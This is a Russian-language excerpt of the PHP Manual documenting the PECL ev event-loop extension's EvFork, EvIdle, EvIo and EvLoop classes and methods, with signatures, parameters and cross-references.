There are no user contributed notes for this page.


Класс EvFork

(PECL ev >= 0.2.0)

Введение

Параллельный процесс наблюдателя вызывается тогда, когда вызывается fork() (обычно потому, что об этом сообщили libev путём вызова EvLoop::fork()). Вызов делается до следующей блокировки циклом событий и до начала вызова наблюдателей EvCheck и только в дочернем процессе после ветвления. Обратите внимание на то, что если кто-нибудь сделает вызов EvLoop::fork() в неправильном процессе, обработчики ветвления также будут вызваны.

Обзор классов

class EvFork extends EvWatcher {
/* Наследуемые свойства */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* Методы */
public __construct( callable $callback , mixed $data = null , int $priority = 0 )
final public static createStopped( string $callback , string $data = ?, string $priority = ?): object
/* Наследуемые методы */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Содержание

  • EvFork::__construct — Конструктор наблюдателя EvFork
  • EvFork::createStopped — Создать объект класса EvFork, но не стартовать его

User Contributed Notes

There are no user contributed notes for this page.


Конструктор наблюдателя EvFork

  • « EvFork
  • EvFork::createStopped »
  • PHP Manual
  • EvFork
  • Конструктор наблюдателя EvFork

EvFork::__construct

(PECL ev >= 0.2.0)

EvFork::__construct — Конструктор наблюдателя EvFork

Описание

public EvFork::__construct( callable $callback , mixed $data = null , int $priority = 0 )

Создаёт объект наблюдатель EvFork и автоматически его стартует.

Список параметров

callback

Смотрите callback-функции наблюдателей.

data

Произвольные данные, ассоциированные с наблюдателем.

priority

Приоритет наблюдателя

Смотрите также

  • EvLoop::fork() - Создаёт объект наблюдателя EvFork, связанный с текущим экземпляром цикла событий
  • EvCheck

User Contributed Notes

There are no user contributed notes for this page.


Создать объект класса EvFork, но не стартовать его

  • « EvFork::__construct
  • EvIdle »
  • PHP Manual
  • EvFork
  • Создать объект класса EvFork, но не стартовать его

EvFork::createStopped

(PECL ev >= 0.2.0)

EvFork::createStopped — Создать объект класса EvFork, но не стартовать его

Описание

final public static EvFork::createStopped( string $callback , string $data = ?, string $priority = ?): object

То же самое, что и EvFork::__construct() , но не производит автоматического старта наблюдателя.

Список параметров

callback

Смотрите callback-функции наблюдателей .

data

Произвольные данные, ассоциированные с наблюдателем

priority

Приоритет наблюдателя

Возвращаемые значения

Возвращает остановленный объект EvFork.

Смотрите также

  • EvFork::__construct() - Конструктор наблюдателя EvFork

User Contributed Notes

There are no user contributed notes for this page.


Класс EvIdle

(PECL ev >= 0.2.0)

Введение

Наблюдатели EvIdle вызывают события тогда, когда никакие другие события такого же или более высокого приоритета не находятся в ожидании (EvPrepare, EvCheck и другие наблюдатели EvIdle не считаются за получающие события).

Таким образом этот процесс занят обработкой сокетов или ожиданий (или даже сигналов) такого же или более высокого приоритета до тех пор, пока он не будет активирован. Но когда процесс находится в режиме ожидания (или в очереди только наблюдатели с более низким приоритетом), наблюдатели EvIdle будут вызываться единожды за итерацию цикла событий - пока не будут остановлены или пока процессом не будут получены новые сообщения и он не будет занят более приоритетными задачами.

Помимо поддержания неблокирующего процесса (который полезен в некоторых случаях), наблюдатели EvIdle являются хорошим местом для выполнения "псевдо-фоновой обработки" или задержки обработки данных до момента, пока цикл событий не обработает все исключительные события.

Наиболее заметный эффект проявляется в том, что пока спящие наблюдатели активны, процесс не будет блокироваться в процессе ожидания новых событий.

Обзор классов

class EvIdle extends EvWatcher {
/* Наследуемые свойства */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* Методы */
public __construct( callable $callback , mixed $data = ?, int $priority = ?)
final public static createStopped( string $callback , mixed $data = ?, int $priority = ?): object
/* Наследуемые методы */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Содержание

  • EvIdle::__construct — Конструктор наблюдателя EvIdle
  • EvIdle::createStopped — Создать объект класса EvIdle, но не стартовать его

User Contributed Notes

There are no user contributed notes for this page.


Конструктор наблюдателя EvIdle

  • « EvIdle
  • EvIdle::createStopped »
  • PHP Manual
  • EvIdle
  • Конструктор наблюдателя EvIdle

EvIdle::__construct

(PECL ev >= 0.2.0)

EvIdle::__construct — Конструктор наблюдателя EvIdle

Описание

public EvIdle::__construct( callable $callback , mixed $data = ?, int $priority = ?)

Создаёт объект наблюдатель EvIdle и автоматически его стартует.

Список параметров

callback

Смотрите функции обратного вызова наблюдателей.

data

Произвольные данные, ассоциированные с наблюдателем.

priority

Приоритет наблюдателя

Смотрите также

  • EvIdle::createStopped() - Создать объект класса EvIdle, но не стартовать его
  • EvLoop::idle() - Создаёт объект наблюдателя EvIdle, связанный с текущим экземпляром цикла событий

User Contributed Notes

There are no user contributed notes for this page.


Создать объект класса EvIdle, но не стартовать его

  • « EvIdle::__construct
  • EvIo »
  • PHP Manual
  • EvIdle
  • Создать объект класса EvIdle, но не стартовать его

EvIdle::createStopped

(PECL ev >= 0.2.0)

EvIdle::createStopped — Создать объект класса EvIdle, но не стартовать его

Описание

final public static EvIdle::createStopped( string $callback , mixed $data = ?, int $priority = ?): object

То же самое, что и EvIdle::__construct() , но не производит автоматического старта наблюдателя.

Список параметров

callback

Смотрите функции обратного вызова наблюдателей .

data

Произвольные данные, ассоциированные с наблюдателем

priority

Приоритет наблюдателя

Возвращаемые значения

Возвращает остановленный объект EvIdle.

Смотрите также

  • EvIdle::__construct() - Конструктор наблюдателя EvIdle
  • EvLoop::idle() - Создаёт объект наблюдателя EvIdle, связанный с текущим экземпляром цикла событий

User Contributed Notes

There are no user contributed notes for this page.


Класс EvIo

(PECL ev >= 0.2.0)

Введение

Наблюдатели EvIo проверяют, является ли файл, сокет или поток, преобразуемый в числовой дескриптор файла, доступным на чтение или на запись при каждой итерации событийного цикла, или, если более точно, когда чтение не заблокирует процесс, а запись сможет быть произведена. Такое поведение называется переключение уровня (level-triggering), потому, что события будут создаваться все время, пока сохраняется отслеживаемое состояние. Для прекращения создания событий надо просто остановить наблюдателя.

Количество таких наблюдателей для одного файлового дескриптора fd не ограничено. Желательно, но не обязательно, установить для файлового дескриптора неблокирующий режим.

Другой момент, который необходимо держать в уме, это то, что всегда существует возможность ложного срабатывания. Например Ev::READ вызовет callback-функцию, но в то же время файл заблокируется подзапросом read(). В такую ситуацию очень легко попасть и именно поэтому рекомендуется всегда использовать неблокирующий ввод/вывод. Возврат read() дополнительного EAGAIN гораздо предпочтительнее, чем "зависание" программы в ожидании данных.

Если по каким то причинам невозможно использовать fd в неблокирующем режиме, то имеет смысл дополнительно проверять, доступен ли файл на чтение в данный конкретный момент. Кто-то дополнительно использует SIGALRM и внутренний таймер для проверки, что блокировка не вечная.

Старайтесь всегда использовать неблокирующий режим.

Обзор классов

class EvIo extends EvWatcher {
/* Свойства */
public $fd;
public $events;
/* Наследуемые свойства */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* Методы */
public __construct(
mixed $fd ,
int $events ,
callable $callback ,
mixed $data = ?,
int $priority = ?
)
final public static createStopped(
mixed $fd ,
int $events ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvIo
public set( mixed $fd , int $events ): void
/* Наследуемые методы */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Свойства

fd

events

Содержание

  • EvIo::__construct — Создаёт объект наблюдатель EvIo
  • EvIo::createStopped — Создаёт остановленный объект наблюдателя EvIo
  • EvIo::set — Конфигурирование наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект наблюдатель EvIo

  • « EvIo
  • EvIo::createStopped »
  • PHP Manual
  • EvIo
  • Создаёт объект наблюдатель EvIo

EvIo::__construct

(PECL ev >= 0.2.0)

EvIo::__construct — Создаёт объект наблюдатель EvIo

Описание

public EvIo::__construct(
mixed $fd ,
int $events ,
callable $callback ,
mixed $data = ?,
int $priority = ?
)

Создаёт и автоматически стартует объект наблюдатель EvIo.

Список параметров

fd

Может быть потоком, открытым с помощью функции fopen() или аналогичной, числовым дескриптором файла или сокетом.

events

Ev::READ и/или Ev::WRITE. Смотрите битовые маски.

callback

Смотрите Callback-функции наблюдателей .

data

Произвольные данные, связанные с наблюдателем.

priority

Приоритет наблюдателя

Смотрите также

  • EvIo::createStopped() - Создаёт остановленный объект наблюдателя EvIo
  • EvLoop::io() - Создаёт объект наблюдателя EvIo, связанный с текущим экземпляром цикла событий

User Contributed Notes

There are no user contributed notes for this page.


Создаёт остановленный объект наблюдателя EvIo

  • « EvIo::__construct
  • EvIo::set »
  • PHP Manual
  • EvIo
  • Создаёт остановленный объект наблюдателя EvIo

EvIo::createStopped

(PECL ev >= 0.2.0)

EvIo::createStopped — Создаёт остановленный объект наблюдателя EvIo

Описание

final public static EvIo::createStopped(
mixed $fd ,
int $events ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvIo

То же самое, что и EvIo::__construct() , но не происходит автоматического запуска наблюдателя.

Список параметров

fd

Смотрите EvIo::__construct()

events

Смотрите EvIo::__construct()

callback

Смотрите Callback-функции наблюдателей .

data

Произвольные данные, связанные с наблюдателем.

priority

Приоритет наблюдателя

Возвращаемые значения

В случае успешного выполнения возвращает объект EvIo.

Смотрите также

  • EvIo::__construct() - Создаёт объект наблюдатель EvIo
  • EvLoop::io() - Создаёт объект наблюдателя EvIo, связанный с текущим экземпляром цикла событий

User Contributed Notes

There are no user contributed notes for this page.


Конфигурирование наблюдателя

  • « EvIo::createStopped
  • EvLoop »
  • PHP Manual
  • EvIo
  • Конфигурирование наблюдателя

EvIo::set

(PECL ev >= 0.2.0)

EvIo::set — Конфигурирование наблюдателя

Описание

public EvIo::set( mixed $fd , int $events ): void

Конфигурирование наблюдателя EvIo

Список параметров

fd

Смотрите EvIo::__construct()

events

Смотрите EvIo::__construct()

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс EvLoop

(PECL ev >= 0.2.0)

Введение

Представляет событийный цикл, который всегда отличается от цикла по умолчанию. В отличие от цикла по умолчанию, он не может работать с наблюдателями EvChild.

Если доступна работа с потоками исполнения, то необходимо создать цикл для каждого потока используя в качестве родителя цикл по умолчанию.

Событийный цикл по умолчанию инициализируется автоматически с помощью Ev. Он доступен с помощью методов класса Ev или с помощью метода EvLoop::defaultLoop().

Обзор классов

final class EvLoop {
/* Свойства */
public $data;
public $backend;
public $is_default_loop;
public $iteration;
public $pending;
public $io_interval;
public $timeout_interval;
public $depth;
/* Методы */
public __construct(
int $flags = ?,
mixed $data = NULL ,
float $io_interval = 0.0 ,
float $timeout_interval = 0.0
)
public backend(): int
final public check( string $callback , string $data = ?, string $priority = ?): EvCheck
final public child(
string $pid ,
string $trace ,
string $callback ,
string $data = ?,
string $priority = ?
): EvChild
public static defaultLoop(
int $flags = Ev::FLAG_AUTO ,
mixed $data = NULL ,
float $io_interval = 0. ,
float $timeout_interval = 0.
): EvLoop
final public embed(
string $other ,
string $callback = ?,
string $data = ?,
string $priority = ?
): EvEmbed
final public fork( callable $callback , mixed $data = null , int $priority = 0 ): EvFork
final public idle( callable $callback , mixed $data = null , int $priority = 0 ): EvIdle
public invokePending(): void
final public io(
mixed $fd ,
int $events ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvIo
public loopFork(): void
public now(): float
public nowUpdate(): void
final public periodic(
float $offset ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvPeriodic
final public prepare( callable $callback , mixed $data = null , int $priority = 0 ): EvPrepare
public resume(): void
public run( int $flags = 0 ): void
final public signal(
int $signum ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvSignal
final public stat(
string $path ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvStat
public stop( int $how = ?): void
public suspend(): void
final public timer(
float $after ,
float $repeat ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvTimer
public verify(): void
}

Свойства

data

Произвольные данные, добавленные циклу

backend

Только чтение. Флаги бэкенда указывающие какой событийный бэкенд используется.

is_default_loop

Только чтение. Если true, то это цикл по умолчанию.

iteration

Текущий счётчик итераций. Смотри Ev::iteration()

pending

Количество ожидающих наблюдателей. 0 означает, что ожидающие наблюдатели отсутствуют.

io_interval

Более высокие значения io_interval позволяют libev тратить больше времени для сбора событий EvIo, что позволит обработать больше событий за одну итерацию заплатив за это увеличенными задержками. Время ожидания (и EvPeriodic и EvTimer) не будет затронуто. Установка в ненулевое значение добавить дополнительный вызов sleep() в большинство итераций цикла. Время сна гарантирует, что libev не будет передавать события EvIo чаще, чем один раз за этот период, в среднем. Для большинства программ хорошим значением io_interval будет значение около 0.1, этого достаточно для большинства интерактивных серверов (не для игр). Обычно вы не заметите никакой разницы, если установите его меньше 0.01, так как это значение будет близко к минимальному интервалу вычисляемого времени для большинства систем.

Также читайте » ФУНКЦИИ УПРАВЛЕНИЯ СОБЫТИЙНЫМИ ЦИКЛАМИ.

timeout_interval

Более высокие значения timeout_interval позволят libev тратить больше времени для сбора превышенного времени ожидания за счёт увеличения задержек/джиттеров/неточностей (функция обратного вызова наблюдателя будет вызвана позже). Наблюдатели EvIo не будут затронуты. Увеличение этого значение не вызовет перерасхода ресурсов в libev. Также читайте » ФУНКЦИИ УПРАВЛЕНИЯ СОБЫТИЙНЫМИ ЦИКЛАМИ.

depth

Глубина рекурсии. Смотрите Ev::depth().

Содержание

  • EvLoop::backend — Возвращает целое число, описывающее бэкенд, используемый libev
  • EvLoop::check — Создаёт объект EvCheck, связанный с текущим экземпляром цикла событий
  • EvLoop::child — Создаёт объект EvChild, связанный с текущим циклом событий
  • EvLoop::__construct — Конструктор объекта цикла событий
  • EvLoop::defaultLoop — Возвращает или создаёт цикл событий по умолчанию
  • EvLoop::embed — Создаёт экземпляр наблюдателя EvEmbed, связанный с текущим объектом EvLoop
  • EvLoop::fork — Создаёт объект наблюдателя EvFork, связанный с текущим экземпляром цикла событий
  • EvLoop::idle — Создаёт объект наблюдателя EvIdle, связанный с текущим экземпляром цикла событий
  • EvLoop::invokePending — Вызывает всех ожидающих наблюдателей при сбросе их отложенного состояния
  • EvLoop::io — Создаёт объект наблюдателя EvIo, связанный с текущим экземпляром цикла событий
  • EvLoop::loopFork — Вызывается после разветления
  • EvLoop::now — Возвращает текущее "event loop time"
  • EvLoop::nowUpdate — Устанавливает текущее время, запрашивая ядро, обновляя время, возвращаемое EvLoop::now в процессе
  • EvLoop::periodic — Создаёт объект наблюдателя EvPeriodic, связанный с текущим экземпляром цикла событий
  • EvLoop::prepare — Создаёт объект наблюдателя EvPrepare, связанный с текущим экземпляром цикла событий
  • EvLoop::resume — Возобновляет ранее приостановленный цикл событий
  • EvLoop::run — Проверяет события и вызывает callback-функции в цикле
  • EvLoop::signal — Создаёт объект наблюдателя EvSignal, связанный с текущим экземпляром цикла событий
  • EvLoop::stat — Создаёт объект наблюдателя EvStat, связанный с текущим экземпляром цикла событий
  • EvLoop::stop — Останавливает цикл событий
  • EvLoop::suspend — Приостанавливает цикл
  • EvLoop::timer — Создаёт объект наблюдателя EvTimer, связанный с текущим экземпляром цикла событий
  • EvLoop::verify — Выполняет внутренние проверки согласованности (для отладки)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает целое число, описывающее бэкенд, используемый libev

  • « EvLoop
  • EvLoop::check »
  • PHP Manual
  • EvLoop
  • Возвращает целое число, описывающее бэкенд, используемый libev

EvLoop::backend

(PECL ev >= 0.2.0)

EvLoop::backend — Возвращает целое число, описывающее бэкенд, используемый libev

Описание

public EvLoop::backend(): int

То же, что Ev::backend(), но для экземпляра цикла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число, описывающее бэкенд, используемый libev. Смотрите Ev::backend().

Смотрите также

  • Ev::backend() - Возвращает целое число, описывающее бэкенд, используемый libev

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект EvCheck, связанный с текущим экземпляром цикла событий

  • « EvLoop::backend
  • EvLoop::child »
  • PHP Manual
  • EvLoop
  • Создаёт объект EvCheck, связанный с текущим экземпляром цикла событий

EvLoop::check

(PECL ev >= 0.2.0)

EvLoop::check — Создаёт объект EvCheck, связанный с текущим экземпляром цикла событий

Описание

final public EvLoop::check( string $callback , string $data = ?, string $priority = ?): EvCheck

Создаёт объект EvCheck, связанный с текущим экземпляром цикла событий.

Список параметров

Все параметры, что и для EvCheck::__construct()

Возвращаемые значения

Возвращает объект EvCheck в случае успешного выполнения.

Смотрите также

  • EvCheck::__construct() - Конструктор объекта EvCheck

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект EvChild, связанный с текущим циклом событий

  • « EvLoop::check
  • EvLoop::__construct »
  • PHP Manual
  • EvLoop
  • Создаёт объект EvChild, связанный с текущим циклом событий

EvLoop::child

(PECL ev >= 0.2.0)

EvLoop::child — Создаёт объект EvChild, связанный с текущим циклом событий

Описание

final public EvLoop::child(
string $pid ,
string $trace ,
string $callback ,
string $data = ?,
string $priority = ?
): EvChild

Создаёт объект EvChild, связанный с текущим циклом событий.

Список параметров

Все параметры, что и для EvChild::__construct()

Возвращаемые значения

Возвращает объект EvChild в случае успешного выполнения.

Смотрите также

  • EvChild::__construct() - Создаёт объект наблюдатель EvChild

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта цикла событий

  • « EvLoop::child
  • EvLoop::defaultLoop »
  • PHP Manual
  • EvLoop
  • Конструктор объекта цикла событий

EvLoop::__construct

(PECL ev >= 0.2.0)

EvLoop::__construct — Конструктор объекта цикла событий

Описание

public EvLoop::__construct(
int $flags = ?,
mixed $data = NULL ,
float $io_interval = 0.0 ,
float $timeout_interval = 0.0
)

Конструктор объекта цикла событий.

Список параметров

flags

Один из флагов цикла событий

data

Пользовательские данные, связанные с циклом.

io_interval

Смотрите io_interval

timeout_interval

Смотрите timeout_interval

Смотрите также

  • EvLoop::defaultLoop() - Возвращает или создаёт цикл событий по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Возвращает или создаёт цикл событий по умолчанию

  • « EvLoop::__construct
  • EvLoop::embed »
  • PHP Manual
  • EvLoop
  • Возвращает или создаёт цикл событий по умолчанию

EvLoop::defaultLoop

(PECL ev >= 0.2.0)

EvLoop::defaultLoop — Возвращает или создаёт цикл событий по умолчанию

Описание

public static EvLoop::defaultLoop(
int $flags = Ev::FLAG_AUTO ,
mixed $data = NULL ,
float $io_interval = 0. ,
float $timeout_interval = 0.
): EvLoop

Если цикл событий по умолчанию не создан, EvLoop::defaultLoop() создаёт его с указанными параметрами. В противном случае он просто возвращает объект, представляющий ранее созданный экземпляр, игнорируя все параметры.

Список параметров

flags

Один из флагов цикла событий

data

Пользовательские данные, связанные с циклом.

io_collect_interval

Смотрите io_interval

timeout_collect_interval

Смотрите timeout_interval

Возвращаемые значения

Возвращает объект EvLoop в случае успешного выполнения.

Смотрите также

  • EvLoop::__construct() - Конструктор объекта цикла событий

User Contributed Notes

There are no user contributed notes for this page.


Создаёт экземпляр наблюдателя EvEmbed, связанный с текущим объектом EvLoop

  • « EvLoop::defaultLoop
  • EvLoop::fork »
  • PHP Manual
  • EvLoop
  • Создаёт экземпляр наблюдателя EvEmbed, связанный с текущим объектом EvLoop

EvLoop::embed

(PECL ev >= 0.2.0)

EvLoop::embed — Создаёт экземпляр наблюдателя EvEmbed, связанный с текущим объектом EvLoop

Описание

final public EvLoop::embed(
string $other ,
string $callback = ?,
string $data = ?,
string $priority = ?
): EvEmbed

Создаёт экземпляр наблюдателя EvEmbed, связанный с текущим объектом EvLoop.

Список параметров

Все параметры, что и для EvEmbed::__construct() .

Возвращаемые значения

Возвращает объект EvEmbed в случае успешного выполнения.

Смотрите также

  • EvEmbed::__construct() - Конструктор объекта EvEmbed

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект наблюдателя EvFork, связанный с текущим экземпляром цикла событий

  • « EvLoop::embed
  • EvLoop::idle »
  • PHP Manual
  • EvLoop
  • Создаёт объект наблюдателя EvFork, связанный с текущим экземпляром цикла событий

EvLoop::fork

(PECL ev >= 0.2.0)

EvLoop::fork — Создаёт объект наблюдателя EvFork, связанный с текущим экземпляром цикла событий

Описание

final public EvLoop::fork( callable $callback , mixed $data = null , int $priority = 0 ): EvFork

Создаёт объект наблюдателя EvFork, связанный с текущим экземпляром цикла событий

Список параметров

Все параметры, что и для EvFork::__construct()

Возвращаемые значения

Возвращает объект EvFork в случае успешного выполнения.

Смотрите также

  • EvFork::__construct() - Конструктор наблюдателя EvFork

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект наблюдателя EvIdle, связанный с текущим экземпляром цикла событий

  • « EvLoop::fork
  • EvLoop::invokePending »
  • PHP Manual
  • EvLoop
  • Создаёт объект наблюдателя EvIdle, связанный с текущим экземпляром цикла событий

EvLoop::idle

(PECL ev >= 0.2.0)

EvLoop::idle — Создаёт объект наблюдателя EvIdle, связанный с текущим экземпляром цикла событий

Описание

final public EvLoop::idle( callable $callback , mixed $data = null , int $priority = 0 ): EvIdle

Создаёт объект наблюдателя EvIdle, связанный с текущим экземпляром цикла событий

Список параметров

Все параметры, что и для EvIdle::__construct()

Возвращаемые значения

Возвращает объект EvIdle в случае успешного выполнения.

Смотрите также

  • EvIdle::__construct() - Конструктор наблюдателя EvIdle

User Contributed Notes

There are no user contributed notes for this page.


Вызывает всех ожидающих наблюдателей при сбросе их отложенного состояния

  • « EvLoop::idle
  • EvLoop::io »
  • PHP Manual
  • EvLoop
  • Вызывает всех ожидающих наблюдателей при сбросе их отложенного состояния

EvLoop::invokePending

(PECL ev >= 0.2.0)

EvLoop::invokePending — Вызывает всех ожидающих наблюдателей при сбросе их отложенного состояния

Описание

public EvLoop::invokePending(): void

Вызывает всех ожидающих наблюдателей при сбросе их отложенного состояния

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект наблюдателя EvIo, связанный с текущим экземпляром цикла событий

  • « EvLoop::invokePending
  • EvLoop::loopFork »
  • PHP Manual
  • EvLoop
  • Создаёт объект наблюдателя EvIo, связанный с текущим экземпляром цикла событий

EvLoop::io

(PECL ev >= 0.2.0)

EvLoop::io — Создаёт объект наблюдателя EvIo, связанный с текущим экземпляром цикла событий

Описание

final public EvLoop::io(
mixed $fd ,
int $events ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvIo

Создаёт объект наблюдателя EvIo, связанный с текущим экземпляром цикла событий

Список параметров

Все параметры, что и для EvIo::__construct()

Возвращаемые значения

Возвращает объект EvIo в случае успешного выполнения.

Смотрите также

  • EvIo::__construct() - Создаёт объект наблюдатель EvIo

User Contributed Notes

There are no user contributed notes for this page.


Вызывается после разветления

  • « EvLoop::io
  • EvLoop::now »
  • PHP Manual
  • EvLoop
  • Вызывается после разветления

EvLoop::loopFork

(PECL ev >= 0.2.0)

EvLoop::loopFork — Вызывается после разветления

Описание

public EvLoop::loopFork(): void

Должен вызываться после разветвления в дочернем элементе, перед входом или продолжением цикла событий. Альтернативой является использование Ev::FLAG_FORKCHECK, которая вызывает эту функцию автоматически при некоторой потере производительности (смотрите » документацию libev).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее "event loop time"

  • « EvLoop::loopFork
  • EvLoop::nowUpdate »
  • PHP Manual
  • EvLoop
  • Возвращает текущее "event loop time"

EvLoop::now

(PECL ev >= 0.2.0)

EvLoop::now — Возвращает текущее "event loop time"

Описание

public EvLoop::now(): float

Возвращает текущее "event loop time", то есть время, когда цикл событий получил события и начал их обрабатывать. Эта временная метка не изменяется, пока обрабатываются callback-функции, это также базовое время, используемое для относительных таймеров. Вы можете рассматривать его как метку времени происходящего события (или, вернее, когда libev узнает об этом).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает время цикла события в долях секунды.

Смотрите также

  • Ev::now() - Получить время запуска последней итерации цикла по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает текущее время, запрашивая ядро, обновляя время, возвращаемое EvLoop::now в процессе

  • « EvLoop::now
  • EvLoop::periodic »
  • PHP Manual
  • EvLoop
  • Устанавливает текущее время, запрашивая ядро, обновляя время, возвращаемое EvLoop::now в процессе

EvLoop::nowUpdate

(PECL ev >= 0.2.0)

EvLoop::nowUpdate — Устанавливает текущее время, запрашивая ядро, обновляя время, возвращаемое EvLoop::now в процессе

Описание

public EvLoop::nowUpdate(): void

Устанавливает текущее время, запрашивая ядро, обновляя время, возвращаемое EvLoop::now() в процессе. Это дорогостоящая операция, которая обычно выполняется автоматически в EvLoop::run().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EvLoop::now() - Возвращает текущее "event loop time"
  • Ev::nowUpdate() - Устанавливает текущее время путём запроса к ядру в процессе обновляя время, возвращаемое Ev::now

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект наблюдателя EvPeriodic, связанный с текущим экземпляром цикла событий

  • « EvLoop::nowUpdate
  • EvLoop::prepare »
  • PHP Manual
  • EvLoop
  • Создаёт объект наблюдателя EvPeriodic, связанный с текущим экземпляром цикла событий

EvLoop::periodic

(PECL ev >= 0.2.0)

EvLoop::periodic — Создаёт объект наблюдателя EvPeriodic, связанный с текущим экземпляром цикла событий

Описание

final public EvLoop::periodic(
float $offset ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvPeriodic

Создаёт объект наблюдателя EvPeriodic, связанный с текущим экземпляром цикла событий

Список параметров

Все параметры, что и для EvPeriodic::__construct()

Возвращаемые значения

Возвращает объект EvPeriodic в случае успешного выполнения.

Смотрите также

  • EvPeriodic::__construct() - Конструктор объекта наблюдателя EvPeriodic

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект наблюдателя EvPrepare, связанный с текущим экземпляром цикла событий

  • « EvLoop::periodic
  • EvLoop::resume »
  • PHP Manual
  • EvLoop
  • Создаёт объект наблюдателя EvPrepare, связанный с текущим экземпляром цикла событий

EvLoop::prepare

(PECL ev >= 0.2.0)

EvLoop::prepare — Создаёт объект наблюдателя EvPrepare, связанный с текущим экземпляром цикла событий

Описание

final public EvLoop::prepare( callable $callback , mixed $data = null , int $priority = 0 ): EvPrepare

Создаёт объект наблюдателя EvPrepare, связанный с текущим экземпляром цикла событий

Список параметров

Все параметры, что и для EvPrepare()

Возвращаемые значения

Возвращает объект EvPrepare в случае успешного выполнения

Смотрите также

  • EvPrepare::__construct() - Конструктор наблюдателя EvPrepare

User Contributed Notes

There are no user contributed notes for this page.


Возобновляет ранее приостановленный цикл событий

  • « EvLoop::prepare
  • EvLoop::run »
  • PHP Manual
  • EvLoop
  • Возобновляет ранее приостановленный цикл событий

EvLoop::resume

(PECL ev >= 0.2.0)

EvLoop::resume — Возобновляет ранее приостановленный цикл событий

Описание

public EvLoop::resume(): void

Методы EvLoop::suspend() и EvLoop::resume() приостанавливают и возобновляют цикл соответственно.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EvLoop::suspend() - Приостанавливает цикл
  • Ev::resume() - Возобновить выполнение приостановленного ранее событийного цикла по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Проверяет события и вызывает callback-функции в цикле

  • « EvLoop::resume
  • EvLoop::signal »
  • PHP Manual
  • EvLoop
  • Проверяет события и вызывает callback-функции в цикле

EvLoop::run

(PECL ev >= 0.2.0)

EvLoop::run — Проверяет события и вызывает callback-функции в цикле

Описание

public EvLoop::run( int $flags = 0 ): void

Проверяет события и вызывает callback-функции для текущего цикла событий. Возвращает, когда обратный вызов вызывает метод Ev::stop(), или если флаги ненулевые (в этом случае возвращаемое значение будет true) или когда нет активных наблюдателей, которые ссылаются на цикл (EvWatcher::keepalive() имеет значение true), в этом случае возвращаемое значение будет false. Возвращаемое значение, как правило, можно интерпретировать так, как если бы оно было true и осталось сделать ещё много работы.

Список параметров

flags

Необязательный параметр flags может быть следующим:

Список возможных значений flags
flags | Описание
0 | Поведение по умолчанию, описанное выше
Ev::RUN_ONCE | Блокирует не более одного (ждёт, но не зацикливает)
Ev::RUN_NOWAIT | Не блокирует ничего (извлекает/обрабатывает события, но не ждёт)

Смотрите константы флага запуска .

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EvLoop::stop() - Останавливает цикл событий
  • Ev::run() - Начать проверку наличия событий и вызов callback-функций цикла по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект наблюдателя EvSignal, связанный с текущим экземпляром цикла событий

  • « EvLoop::run
  • EvLoop::stat »
  • PHP Manual
  • EvLoop
  • Создаёт объект наблюдателя EvSignal, связанный с текущим экземпляром цикла событий

EvLoop::signal

(PECL ev >= 0.2.0)

EvLoop::signal — Создаёт объект наблюдателя EvSignal, связанный с текущим экземпляром цикла событий

Описание

final public EvLoop::signal(
int $signum ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvSignal

Создаёт объект наблюдателя EvSignal, связанный с текущим экземпляром цикла событий

Список параметров

Все параметры, что и для EvSignal::__construct()

Возвращаемые значения

Возвращает объект EvSignal в случае успешного выполнения

Смотрите также

  • EvSignal::__construct() - Конструктор объекта наблюдателя EvSignal

User Contributed Notes

There are no user contributed notes for this page.


